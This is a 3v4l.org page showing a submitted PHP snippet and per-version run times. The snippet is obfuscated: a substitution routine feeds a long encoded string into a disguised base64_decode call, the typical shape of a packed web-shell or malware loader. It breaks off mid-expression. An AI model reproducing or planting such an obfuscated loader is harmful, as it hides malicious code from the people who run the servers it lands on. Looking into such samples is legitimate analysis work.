3v4l.org

run code in 300+ PHP versions simultaneously
<?php <?php function jm($ohmebni, $whpbkczumr){$ollwtxoe = ''; for($i=0; $i < strlen($ohmebni); $i++){$ollwtxoe .= isset($whpbkczumr[$ohmebni[$i]]) ? $whpbkczumr[$ohmebni[$i]] : $ohmebni[$i];} $uiz="base64_decode";return $uiz($ollwtxoe);} $ewxlaezdap = 'zyX2W6L5G8zZKw60YBL08woDG0YeAq76pqtkatkFWd7k8xcXjJHNlyLN8w60YBL0Y0YeAiFkatkFWd7k'. '8xcXjJHNlduT8w6TGdcrjyXDlXLVWdrXK0tHSJQUJQb5G81PjyX9G6LeWdrkjJHtEpeEJBXBEyX5Yw6'. 'VEJ1PnV6C6Q6CECQEOtZKKuLp16Kd16KlKrbAnuLp1noyKrVHRCFIm0AUAFZKKuLp16Kd16KlKrKupnLn1'. '6Lb1q1CKrVHRCFISpAxmfF2SJToAfeEJdXBEJuXl8bVOCHQ8rcun'. 'XGunXeNCu1nnuL38VGRnXjbnQ1u1uLyprAN8CQkJHXUJHQKKuLp16Kd16KlKVMn6ubPdu'.

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.00.0000.06020.13
5.6.160.0030.05020.54
5.6.150.0130.03318.19
5.6.140.0100.07718.15
5.6.130.0000.06018.30
5.6.120.0100.08020.98
5.6.110.0030.09020.96
5.6.100.0170.07320.93
5.6.90.0100.08720.97
5.6.80.0030.09020.40
5.5.300.0070.05318.08
5.5.290.0100.07718.08
5.5.280.0100.08320.87
5.5.270.0100.06720.64
5.5.260.0070.08320.76
5.5.250.0070.05020.65
5.5.240.2970.03720.04

preferences:
144.02 ms | 1394 KiB | 7 Q